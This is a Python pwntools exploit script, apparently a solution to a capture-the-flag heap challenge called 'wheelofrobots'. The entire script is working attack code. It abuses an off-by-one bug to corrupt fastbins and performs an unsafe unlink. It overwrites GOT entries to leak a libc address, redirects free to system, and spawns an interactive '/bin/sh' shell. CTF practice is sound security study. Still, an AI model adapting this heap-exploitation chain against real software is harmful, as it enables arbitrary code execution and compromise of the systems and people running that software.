from pwn import *

context.log_level='debug'

def Add(choice,size=False):
	s.recvuntil('Your choice :')
	s.sendline('1')
	s.recvuntil('Your choice :')
	s.sendline(str(choice))

	if choice is 2:
		s.recvuntil("Increase Bender's intelligence:")
		
		if size > 4:
			size=2

		s.sendline(str(size))
	
	elif choice is 3:
		s.recvuntil("Increase Robot Devil's cruelty:")

		if size > 0x63:
			size=20

		s.sendline(str(size))


	elif choice is 6:
		s.recvuntil("Increase Destructor's powerful:")
		s.sendline(str(size))

def Delete(choice):
        s.recvuntil('Your choice :')
        s.sendline('2')
        s.recvuntil('Your choice :')
        s.sendline(str(choice))

def Change(choice,name):
        s.recvuntil('Your choice :')
        s.sendline('3')
        s.recvuntil('Your choice :')
        s.sendline(str(choice))

	s.recvuntil("Robot's name:")
	s.send(name)
		
def Start():
        s.recvuntil('Your choice :')
        s.sendline('4')

def off_by_one(bit):
	s.recvuntil('Your choice :')
	s.sendline('1')
	s.recvuntil('Your choice :')
	s.send('0'*4+bit) #Bender_bit_control

if __name__ == "__main__":
	
	s=process('./wheelofrobots',env={'LD_PRELOAD':'./libc.so.6'})
	e=ELF('./wheelofrobots')

	Add(3,32) #Only create to fake fastbin size 
	Delete(3) 	

	Add(2,1)
	Delete(2) #0x20 size fastbins
		
	off_by_one('\x01') #bit control(off-by-one)

	Change(2,p64(0x603138))
	
	off_by_one('\x00')
	
	Add(2,1)

	Add(1) #fake fastbins => 0x603148 <- size of Destructor

	Delete(2)

	Add(3,10)
	Add(4)

	Delete(3)

	Add(6,1)		
	Change(1,p64(0x1000)) #chunk.6 size change
	
	payload=p64(0x0)+p64(0x0)
	payload+=p64(0x6030e8-0x18)+p64(0x6030e8-0x10)
	payload+=(p64(0x0)+p64(0x0))*0xc
	payload+=p64(0xe0)

	Change(6,payload)

	Delete(4) #unsafe unlink
	Add(1)

	Change(6,'A'*0x18+p64(e.got['free'])+p64(e.got['_exit'])+p64(e.got['puts']))
	Change(6,p64(e.plt['puts'])) #GOT@Overwrite = free@got -> puts@plt

	Delete(1) #Puts(puts@got)

	puts_libc=u64(s.recv(6).ljust(8,'\x00'))
	system=puts_libc-0x2a300
	libc_base=puts_libc-0x6f690

	Change(6,p64(system))
	print "system@libc : "+str(hex(system))
	
	off_by_one('\x01') #off-by-one,
	
	Change(2,'/bin/sh\00') #read(0,_exit@got,20);
	
	Delete(2) #system('/bin/sh')	
	s.interactive()

